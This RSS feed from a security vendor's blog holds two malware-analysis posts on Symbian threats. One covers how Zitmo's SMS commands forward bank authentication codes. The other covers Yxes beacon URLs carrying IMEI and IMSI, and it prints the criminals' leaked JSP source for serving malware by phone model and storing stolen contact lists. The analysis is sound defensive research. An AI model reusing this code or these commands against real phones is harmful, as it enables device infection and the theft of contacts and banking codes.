<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Fortinet Security Blog &#187; symbian malware</title>
	<atom:link href="http://blog.fortinet.com/tag/symbian-malware/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.fortinet.com</link>
	<description>Real Time Network Protection</description>
	<lastBuildDate>Fri, 27 Jan 2012 11:59:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
	<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9;Fortinet Product Marketing </copyright>
		<managingEditor>rpopko@fortinet.com (Fortinet Product Marketing)</managingEditor>
		<webMaster>rpopko@fortinet.com(Fortinet Product Marketing)</webMaster>
		<category>Fortinet Product Information</category>
		<ttl>1440</ttl>
		<itunes:keywords>forti-gate, anti-spam, anti-virus, fortigate</itunes:keywords>
		<itunes:subtitle>The latest news and information about Fortinet products and services for Real Time Network Protection.</itunes:subtitle>
		<itunes:summary>Fortinet is a leading provider of Unified Threat Management (UTM) network security solutions for enterprise and service provider environments. The Fortinet FortiCast delivers news, information, and tutorials about products, services, and industry trends. Fortinet's FortiGate product line and FortiGuard security subscription services provide an array of integrated network security functions including antivirus, firewall, virtual private networking, intrusion prevention (IPS), web filtering, antispam and traffic optimization. </itunes:summary>
		<itunes:author>Fortinet Product Marketing</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Fortinet Product Marketing</itunes:name>
			<itunes:email>rpopko@fortinet.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-300x300.jpg" />
		<image>
			<url>http://blog.fortinet.com/wp-content/uploads/2009/01/forticast-144x144.jpg</url>
			<title>Fortinet Security Blog</title>
			<link>http://blog.fortinet.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Zitmo Follow Up: From Spyware to Malware</title>
		<link>http://blog.fortinet.com/zitmo-follow-up-from-spyware-to-malware/</link>
		<comments>http://blog.fortinet.com/zitmo-follow-up-from-spyware-to-malware/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 16:34:12 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[mobile banking]]></category>
		<category><![CDATA[mobile phones]]></category>
		<category><![CDATA[symbian malware]]></category>
		<category><![CDATA[Zeus]]></category>
		<category><![CDATA[zeus trojan]]></category>
		<category><![CDATA[zitmo]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=1628</guid>
		<description><![CDATA[While wearing my eyes off on the assembly code of the Symbian malware Zitmo, I had been quite embarrassed not to find any clear link with stealing online banking credentials as the rest of the ZeuS attack seemed to indicate. This issue is now solved, I know how the cyber-criminals did it or intended to. [...]]]></description>
			<content:encoded><![CDATA[<p>While wearing my eyes off on the assembly code of the Symbian malware <a href="http://blog.fortinet.com/zeus-in-the-mobile-zitmo-online-bankings-two-factor-authentication-defeated/">Zitmo</a>, I had been quite embarrassed not to find any clear link with stealing online banking credentials as the rest of the ZeuS attack seemed to indicate. This issue is now solved, I know how the cyber-criminals did it or intended to.</p>
<p>The Zitmo malware is actually <em><strong>a light version (or a cracked one) of the Russian <a href="http://dtarasov.ru/smsmonitor_lite.html">SMS Monitor</a> application</strong></em>. This borderline application is officially meant for &#8220;parental control&#8221; and &#8220;security audit&#8221;, but it looks like it ended upin the wrong hands&#8230;</p>
<p>We already know Zitmo responds to several simple commands such as &#8220;set admin&#8221;, &#8220;set sender&#8221;, &#8220;add sender&#8221; but their use wasn&#8217;t clear yet. There it is:</p>
<ul>
<li>ADD SENDER, followed by phone numbers, will set those phone numbers to be spied on. Any SMS sent by such a phone number will silently be forwarded to the spy (the &#8220;admin&#8221; phone number).</li>
<li>REM SENDER will obviously stop spying a given phone number</li>
<li>BLOCK ON/OFF will block incoming and outgoing phone calls</li>
<li>ON/OFF turns the spy engine on or off</li>
</ul>
<p>In the case of ZeuS and online bank credentials, the cyber criminals merely need to send a &#8220;add sender&#8221; command specifying the phone number of the bank, and then an &#8220;on&#8221; command. Any SMS credential sent to an unsuspecting victim will then be forwarded to the cyber-criminals who can use it and successfully log on the bank account. Bingo.</p>
<p>As a side note, we confirmed what we suspected in our previous post: anyone can send a SET ADMIN command to an infected phone, and start to spy on SMS messages it receives. A rather explicit example of  how malware can &#8220;lower your defenses&#8221; (in addition of  stealing your money).</p>
<p>&#8211; the Crypto Girl</p>
<p>PS. By the way, <a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-iii.html">s21sec</a> reports the certificate for Zitmo is now revoked. Be sure to enable OCSP on your phones to retrieve the latest CRL when you install applications.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/zitmo-follow-up-from-spyware-to-malware/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SymbOS/Yxes or downloading customized malware</title>
		<link>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/</link>
		<comments>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 16:14:02 +0000</pubDate>
		<dc:creator>Axelle</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[symbian malware]]></category>
		<category><![CDATA[symbos/yxes]]></category>

		<guid isPermaLink="false">http://blog.fortinet.com/?p=437</guid>
		<description><![CDATA[The Symbian malware Yxes is (nearly) keeping me awake these days. Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following: - Yxes.A: http://[REMOVED]/Kernel?Version=&#60;VERSION&#62; - Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=&#60;VERSION&#62;&#38;PhoneType=&#60;TYPE&#62; - Yxes.C: no similar URL - Yxes.D: this one issues two different requests: http://[REMOVED]/bs?Version=&#60;VERSION&#62;&#038;PhoneImei=&#60;IMEI&#62;&#038;PhoneImsi=&#60;IMSI&#62;&#038;PhoneType=&#60;TYPE&#62; http://[REMOVED]/number/?PhoneType=&#60;TYPE&#62; http://[REMOVED]/index.jsp?PhoneType=&#60;TYPE&#62; - [...]]]></description>
			<content:encoded><![CDATA[<p>The Symbian malware <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.a!worm.htm">Yxes</a> is (nearly) keeping me awake these days.</p>
<p>Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:<br />
- Yxes.A: http://[REMOVED]/Kernel?Version=&lt;VERSION&gt;<br />
- Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=&lt;VERSION&gt;&amp;PhoneType=&lt;TYPE&gt;<br />
- Yxes.C: no similar URL<br />
- Yxes.D: this one issues two different requests:</p>
<p>http://[REMOVED]/bs?Version=&lt;VERSION&gt;&#038;PhoneImei=&lt;IMEI&gt;&#038;PhoneImsi=&lt;IMSI&gt;&#038;PhoneType=&lt;TYPE&gt;</p>
<p>http://[REMOVED]/number/?PhoneType=&lt;TYPE&gt;</p>
<p>http://[REMOVED]/index.jsp?PhoneType=&lt;TYPE&gt;</p>
<p>- Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=&lt;TYPE&gt;&amp;PhoneImei=&lt;IMEI&gt;&amp;PhoneImsi=&lt;IMSI&gt;</p>
<p>TYPE is a string that represents the phone&#8217;s model. For example, NokiaN95. If the malware is unable to retrieve the phone&#8217;s model, it returns by default nokia3250.<br />
VERSION is the malware&#8217;s version. Samples in the wild currently have a version number of 1.6 or 1.7<br />
IMEI is the victim&#8217;s International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038).<br />
IMSI is the victim&#8217;s International Mobile Subscriber Identity. This number identifies the *subscriber*. It is stored in the SIM card.</p>
<p>All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim&#8217;s phone a malware his/her phone supports. This consists in selecting malware depending on the phone&#8217;s model or user agent.</p>
<p>To do so, the JSPs first retrieve the incoming URL&#8217;s user agent and parameters:</p>
<blockquote><p><code><br />
String sUA = request.getHeader("user-agent") != null?request.getHeader("user-agent"):"NokiaN95";<br />
String sPhoneNumber = request.getParameter("PhoneNumber")==null?"":request.getParameter("PhoneNumber");<br />
String sPhoneType = request.getParameter("PhoneType")==null?"":request.getParameter("PhoneType");<br />
String sVersion = request.getParameter("Version")==null?"":request.getParameter("Version");<br />
</code></p></blockquote>
<p>Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty.<br />
If the script handles phone&#8217;s IMEI and IMSI, they are usually logged:</p>
<blockquote><p><code><br />
String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, "O", sIMEI, sIMSI);<br />
</code></p></blockquote>
<p>Then, based on phone&#8217;s model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.</p>
<blockquote><p><code><br />
String sExt = "";<br />
if(!sPhoneType.equals(""))<br />
{<br />
sExt = nokiaDown.getFileType(sPhoneType.replaceAll(" ",""));<br />
log_client.info(sPhoneNumber+" - "+sPhoneType);<br />
}<br />
else<br />
{<br />
sExt = nokiaDown.getFileType(sUA.replaceAll(" ",""));<br />
log_browser.info(sUA);<br />
}<br />
</code></p></blockquote>
<p>For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian&#8217;s installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions &#8211; below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).</p>
<blockquote><p><code><br />
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");<br />
FileManager fileManager = new FileManager();<br />
ArrayList fileList = null;<br />
String sSoftFolder = "";<br />
fileList = fileManager.getFiles(rootPath+"/download/kernel_new",sExt,null);<br />
sSoftFolder = rootPath+"/download/kernel_new/";<br />
</code></p></blockquote>
<p>Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:</p>
<blockquote><p><code><br />
int i = new Random().nextInt(fileList.size());<br />
System.out.println("&gt;&gt;&gt;i="+i);<br />
String sFilePath = sSoftFolder+fileList.get(i);<br />
&lt;jsp:forward page="Download.jsp"&gt;<br />
&lt;jsp:param name="FileName" value="&lt;%=URLEncoder.encode(sFilePath,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="PhoneType" value="&lt;%=URLEncoder.encode(sPhoneType,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="Version" value="&lt;%=URLEncoder.encode(sVersion,"gb2312") %&gt;"/&gt;<br />
&lt;jsp:param name="Type" value="Kernel"/&gt;<br />
&lt;/jsp:forward&gt;<br />
</code></p></blockquote>
<p>The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:</p>
<blockquote><p><code><br />
if(name.toLowerCase().endsWith(".sis"))<br />
{<br />
response.setContentType("application/vnd.symbian.install");<br />
} else if(name.toLowerCase().endsWith(".sisx"))<br />
{<br />
response.setContentType("x-epoc/x-sisx-app");<br />
}<br />
...<br />
File file = new File(sFileName);<br />
if(file.exists())<br />
{<br />
response.setHeader("Content-Disposition","attachment;filename=\""+new String(name.getBytes("gb2312"),"iso-8859-1")+"\"");<br />
try<br />
{<br />
String sHeader = "";<br />
OutputStream os = response.getOutputStream();<br />
...<br />
FileInputStream fis = new FileInputStream(file);<br />
byte[] b = new byte[1024];<br />
int i=0;<br />
while((i=fis.read(b))!=-1)<br />
{<br />
os.write(b,0,i);<br />
}<br />
fis.close();<br />
os.flush();<br />
os.close();<br />
}<br />
}<br />
</code></p></blockquote>
<p>Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by <a href="http://blogs.zdnet.com/security/?p=3713">Transmitter.C</a> and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.e!worm.html">SymbOS/Yxes.E!worm</a> downloads and infects the phone with <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.d!worm.html">SymbOS/Yxes.D!worm</a> or <a href="http://www.fortiguardcenter.com/encyclopedia/virus/symbos_yxes.e!tr.html">SymbOS/Yxes.F!tr</a>.</p>
<p>The PbkInfo.jsp script is different. It does not download any file, but *uploads* information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name &lt;DATE&gt;_&lt;IMEI&gt;_&lt;IMSI&gt;.txt where DATE is the current date, and IMEI and IMSI are the phone&#8217;s IMEI and IMSI.</p>
<blockquote><p><code><br />
String content = "";<br />
InputStream in = request.getInputStream();<br />
byte[] buf = new byte[1024];<br />
int i = 0;<br />
while((i=in.read(buf))!=-1){<br />
content += new String(buf,0,i,"utf-8");<br />
System.out.println("content added");<br />
}<br />
in.close();<br />
...<br />
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");<br />
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");<br />
File file = new File(rootPath+"/data/Upload/Pbk/"+sdf.format(new java.util.Date())+"_"+sIMEI+"_"+sIMSI+".txt");<br />
FileWriter writer = new FileWriter(file);<br />
writer.write(content);<br />
writer.close();<br />
</code></p></blockquote>
<p>So, for example, if the malware issues an HTTP request such as http://[REMOVED]/PbkInfo.jsp?PhoneType=nokia3250&amp;PhoneImei=123456789&amp;PhoneImsi=00456, with as content a listing of all phone&#8217;s contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information&#8230;</p>
<p>Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven&#8217;t been properly debugged (missing escape sequences etc)&#8230; or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven&#8217;t managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I&#8217;d be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)</p>
<p>&#8211; The Crypto Girl.</p>
<p>PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.fortinet.com/symbosyxes-or-downloading-customized-malware/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

